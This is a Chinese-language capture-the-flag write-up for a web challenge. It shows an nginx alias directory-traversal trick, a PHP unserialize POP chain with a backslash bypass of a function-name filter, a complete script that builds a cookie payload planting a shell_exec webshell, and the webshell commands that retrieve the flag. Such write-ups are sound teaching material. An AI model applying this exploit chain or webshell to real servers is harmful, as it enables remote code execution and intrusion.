這題包含很多知識,在做的時候查很多資料而收穫良多,從 nginx 漏洞到 PHP POP 都有。推薦大家先自己做做看!因為很有趣,從 22:00 解到 07:00 …
[正文]
先觀察頁面有沒有漏洞,初步觀察後發現是用 nginx 架設,有 static 子目錄,推測有 nginx 路徑漏洞,網址輸入:http://final.kaibro.tw:10004/static../,成功拿到 source code。
Nginx 目錄穿越漏洞
常見於 Nginx 做 Reverse Proxy 的狀況,例如 config 設置 location /files { alias /home/ }
會因為 /files 沒有加上結尾 / ,而 /home/ 有,所以 /files../ 可以訪問上層目錄
| site | 
class_oldfm.php 很坑,裡面滿滿的漏洞,但是沒有被引用 QQ,另外 k.js 的內容是 Konami Code ( ⇧⇧⇩⇩⇦⇨⇦⇨ⒷⒶ ) 的梗,輸入後會在 console 印奇怪的訊息
Analysis
首先可以發現在 class_user.php 裡可以找到 username 和 password,先登入看看,可以發現 blog 頁面可以留言了。不知道能幹麻,先放著。先搜尋可能有漏洞的函式:
file_get_contents 和 file_put_contents
- 發現 OldFileManager 可以用,但是 trace 一下發現他根本沒有被 include..
- 參數都不可控制,死路。
unserialize
- 發現在 - class_cookie.php的- MyCookie::__construct()有- unserialize(),參數可以藉由- $_cookie["e"]來控制- class_cookie.php - 7 
 8
 9- $enc = $_COOKIE['e']; 
 $dec = base64_decode(strrev($enc));
 $arr = explode("|", $dec); // 可以構造成 “1234|payload”
- unserialize 後的 object 會 assign 給 - $this->article- class_cookie.php - 23 
 24
 25
 26
 27- if(count($arr) === 2) { 
 $this->uid = $arr[0];
 $obj = unserialize($arr[1]);
 $this->article = $obj;
 }
- 在 - blog.php發現它- new MyCookie()後使用- MyCookie::restore()- blog.php - 64 
 65
 66
 67
 68
 69- if(isset($_COOKIE['e'])) { 
 $myck = new MyCookie();
 $r = $myck->restore();
 } else {
 $r = NULL;
 }
- 回到 - class_cookie.php查看,可以發現- MyCookie::restore()回傳的就是可以控制的- $this->article,表示我們也能夠控制- blog.php的- $r- class_cookie.php - 36 
 37
 38
 39
 40
 41- public function restore() { 
 if($this->uid !== NULL && $this->article !== NULL)
 return $this->article;
 else
 return NULL;
 }
- 在 - blog.php裡面繼續往下發現- $r會被丟進- print_title($r)和- print_content($r),這兩個都會- echo $r->body->title,找找看其他 class 有沒有好用的- __toString可以用- blog.php - 99 
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109- function print_title($r) { 
 if(isset($r)) {
 echo $r->body->title;
 }
 }
 function print_content($r) {
 if(isset($r)) {
 echo $r->body->content;
 }
 }
- 不難發現只有 - class_debug.php的- Debug::__toString()能夠使用,其他的都沒有在額外 call function,找找看其他 class 有沒有好用的- save()可以用- class_debug.php - 12 
 13
 14
 15
 16- function __toString() { 
 $str = "[DEUBG]" . $msg;
 $this->fm->save();
 return $str;
 }
- 在 - class_filemanager.php,- class_article.php,- class_user.php都有發現- save()- class_filemanager.php,- class_article.php的- save(),雖然都有- file_put_contents,但參數都不可控,死路。
- 剩下 class_user.php的save(),可以發現($this->func)($this->data)且$this->func和$this->data都可以透過unserialize()的時候就控制到!class_user.php 41 
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52public function save() { 
 if(!isset($this->data))
 $this->data = User::getAllUser();
 if(preg_match("/^[a-z]/is", $this->func)) {
 if($this->func === "shell_exec") {
 ($this->func)("echo " . escapeshellarg($this->data) . " > /tmp/result");
 }
 } else {
 ($this->func)($this->data);
 }
 }
 
- 剩下如何 bypass - preg_match("/^[a-z]/is", $this->func),找了一些資料後後發現加入反斜線可以成功 bypass:- $func = '\shell_exec'。
- 整個 POPchain:Article.body -> ArticleBody.content -> Debug.__toString() -> User.save() 
Create payload
- 因為他是直接 - ($this->func)($this->data)不會 echo 出來,所以必須想辦法找到可讀寫的地方,在- class_article.php下發現- /var/www/app/articles/這個路徑,看起來可讀寫,建立 webshell payload:- $data = 'echo \'<?=shell_exec($_GET[0]);?>\' >/var/www/app/articles/<name>.php'- payload.php - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 include("lib/class_article.php");
 include("lib/class_articlebody.php");
 include("lib/class_cookie.php");
 include("lib/class_user.php");
 include("lib/class_debug.php");
 include("lib/class_filemanager.php");
 $title = "title";
 $content = new Debug("content");
 $content->fm = new User();
 $content->fm->func = "\shell_exec";
 $content->fm->data = "echo \'<?=shell_exec($_GET[0]);?>\' >/var/www/app/articles/VHJpcGxlIFNpZ21hIH.php";
 $article = new Article( $title, $content );
 $article->author = "article";
 echo strrev( base64_encode( "1234|" . serialize( $article ) ) );
Get shell
- 執行 - php payload.php後得到的 payload 丟進- cookie[e],重整後到 webshell 的頁面。- php payload.php 
 =0Xf913OiAHaw5CaFlmYxo1RJBjVul1ZR12Yoh2RJZnTIlEaxIjWw5kRJ ...- Http request - http://final.kaibro.tw:10004/articles/VHJpcGxlIFNpZ21hIH.php 
 GET 0=ls%20/ # 發現 _fl4g___yo, readflag
 GET 0=ls%20-al%20%2F # 發現 _fl4g___yo 沒辦法 cat
 GET 0=/readflag # 直接執行 readflag -> get flag
FLAG: FLAG{b4d_ng1nx_4nd_l0000ng_p0p_cha1n}